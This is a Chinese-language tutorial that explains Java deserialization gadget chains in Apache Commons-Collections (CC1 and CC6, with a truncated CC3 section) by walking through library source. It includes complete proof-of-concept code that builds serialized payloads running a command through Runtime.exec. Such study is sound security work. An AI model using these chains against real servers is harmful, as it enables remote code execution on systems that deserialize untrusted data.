基础知识 假设某服务器接收java字节码并使用ObjectInputStream.readObject
方法进行反序列化,我们将包含执行命令代码的Test类序列化后直接传给服务器,这时服务器上并不会触发命令,而是报错,因为会找不到Test类,所以想要触发命令我们就需要找服务器上存在的类,如何通过存在的类在反序列化的时触发命令?
如果反序列化的类定义了readObject
方法,在服务器上执行ObjectInputStream.readObject
时,会自动调用反序列化类中的readObject
方法,更进一步的,如果反序列化类的readObject
方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了 。在readObject
反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,利用的非常广泛。
先看下CommonsCollections链中几个关键的类,这几个类就可以实现任意任意类和方法的调用,都实现了Transformer
接口,该接口就一个transform
方法,我们重点关注这几个实现类的transform
方法的逻辑。
构造方法作用就是将传入的对象保存为一个常量,调用实例的transform方法就返回该常量。
1 2 3 4 5 6 7 8 9 private final Object iConstant;public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
主要作用是通过反射调用传入对象的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } ...... } }
实例化这个类需要传入Transformer
的数组,调用这个类的transform
方法就会遍历数组中每个元素的transform
方法,每次transform
方法返回的对象会作为下一个transform
方法的输入
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
合并 现在我们将上面三个类串起来,写一个执行命令的简单例子,创建一个Transformer
数组,将Runtime对象传入ConstantTransformer
作为第一个元素,通过InvokerTransformer
调用Runtime
实例的exec
方法放在第二个元素,然后将Transformer
数组传入ChainedTransformer
构造方法,最后调用其transform
方法就可以触发命令。
其实chainedTransformer
调用过程和object.xxx().yyy().zzz()
是一样的,进一步将上面Runtime.getRuntime()
改为反射的写法
为什么Runtime.getRuntime()需要进一步修改为反射的写法?
Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。
所以需要将Runtime.getRuntime() 换成 Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。
1 2 3 4 5 6 7 8 9 Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{0 , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformer);chainedTransformer.transform(null );
其实等价于Runtime.class.getMethod("getRuntime").invoke(null,null).exec("calc")
,现在我们可以通过chainedTransformer
的transform
方法到命令执行了,那么如何从readObject
到transform
函数呢?这就是CommonsCollections
链的意义了
CommonsCollections1 LazyMap 上面我们是手写触发chainedTransformer
的transform
方法,一般不会有代码直接写chainedTransformer.transform(null)
,所以我们需要找到更加常用且有调用transform
的方法,LazyMap正好符合要求,看下LazyMap的关键源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = factory; } } public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
LazyMap的decorate
方法会将传入的Transformer
保存为factory
,当从map
中不包含get的key时,会触发factory
的transform
方法。
所以我们将一个空的map和执行命令的chainedTransforme
传入LazyMap的decorate
,再调用该LazyMap的get
方法(key为任意)即可触发transform
接着进一步寻找实现了readObject
,并且通过readObject
能触发到LazyMap的get
方法,这样就可以构成一个反序列化利用链了。AnnotationInvocationHandler类正好可以满足这样的要求。
AnnotationInvocationHandler 先看下AnnotationInvocationHandler类(JDK8的版本要<1.8.0_71)关键的几个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } } private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); ...... } public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); ...... switch (var7) { case 0 : return this .toStringImpl(); case 1 : return this .hashCodeImpl(); case 2 : return this .type; default : Object var6 = this .memberValues.get(var4); ...... } } }
其中的invoke
方法会调用到memberValues
的get
方法,而memberValues
可通过构造函数赋值为LazyMap,所以能调用到Invoke
就可以触发,要怎么通过readObject
方法调用到invoke
方法呢?可以通过java对象代理。
java提供了newProxyInstance
创建对象代理的方式:newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
,第1个参数是ClassLoader
,默认即可;第2个参数是我们需要代理的对象集合;第3个参数为实现了InvocationHandler
接口的实例,里面包含了具体代理的逻 辑,AnnotationInvocationHandler
类正好实现了InvocationHandler
和Serializable
接口,可以作为第3个参数。
被对象代理设置的对象,调用其任意方法时,都会先调用代理类,也就是InvocationHandler
实例的invoke
方法。
上方代码readObject
方法的第23行,在传入的this.memberValues
有设置对象代理时,调用其任意方法都会触发其代理类的invoke
方法,代理类可以设置AnnotationInvocationHandler
,在invoke
中就可以触发get
方法了,这样我们打通了整个利用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
poc cc1完整poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{0 , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap); Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler); Object aa = constructor.newInstance(Override.class, map1); Field iTransformers = ChainedTransformer.class.getDeclaredField(("iTransformers" )); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(aa); oos.close(); ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = in.readObject(); in.close(); }
CommonsCollections6 上面CC1只有在jdk版本低于1.8.0_71才能触发,因为新版本AnnotationInvocationHandler#readObject
逻辑变了。我们要解决jdk高版本利用的问题,其实就是要寻找其他调用LazyMap#get()
的地方,TideMapEntry#hashCode
方法正好有调用。
TideMapEntry 先看下TideMapEntry的几个关键方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public Object getValue () { return this .map.get(this .key); } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
我们可以通过构造方法将LazyMap传入this.map
,然后通过getValue
方法可以触发其get
方法,而hashCode
又有调用到getValue
,所以我们需要继续找一个类,该类的readObject
可以通到TideMapEntry#hashCode
。
HashMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
HashMap的readObject
会调用hash
方法,hash方法内触发key
的hashCode
,如果我们key
传入TideMapEntry
,就可以触发TideMapEntry#hashCode
了,其实到这里从readObject
到transform
就走通了,算是一个简化版的CC6链,Ysoserial中CC6在此基础上加了层HashSet#readObject
。
HashSet HashSet#readObject
会调用HashMap的put
方法,正好可以跟上面链接起来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ...... map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } } public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
poc CC6利用链和poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{0 , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" ); HashSet hashSet = new HashSet (1 ); hashSet.add(tiedMapEntry); lazyMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField(("iTransformers" )); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("serialize.ser" )); out.writeObject(hashSet); ObjectInputStream in = new ObjectInputStream (new FileInputStream ("serialize.ser" )); in.readObject(); }
第34行调用一次clear()
是因为hashSet.add
会将key/value
put
到LazyMap中,若不clear()
会导致反序列化时LazyMap包含该key
,从而进不到if语句内,无法触发transform
这条链在jdk高版本也可以触发
CommonsCollections3 先贴下CC3的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
CC3的前半截调用过程和CC1一样,区别就是CC3用InstantiateTransformer
代替了CC1的InvokerTransformer
,并且通过字节码的方式触发,其关键点就在TemplatesImpl
和TrAXFilter
类
TrAXFilter TemplatesImpl 参考 commons-collections利用链学习总结
Java安全漫谈 系列
ysoserial项目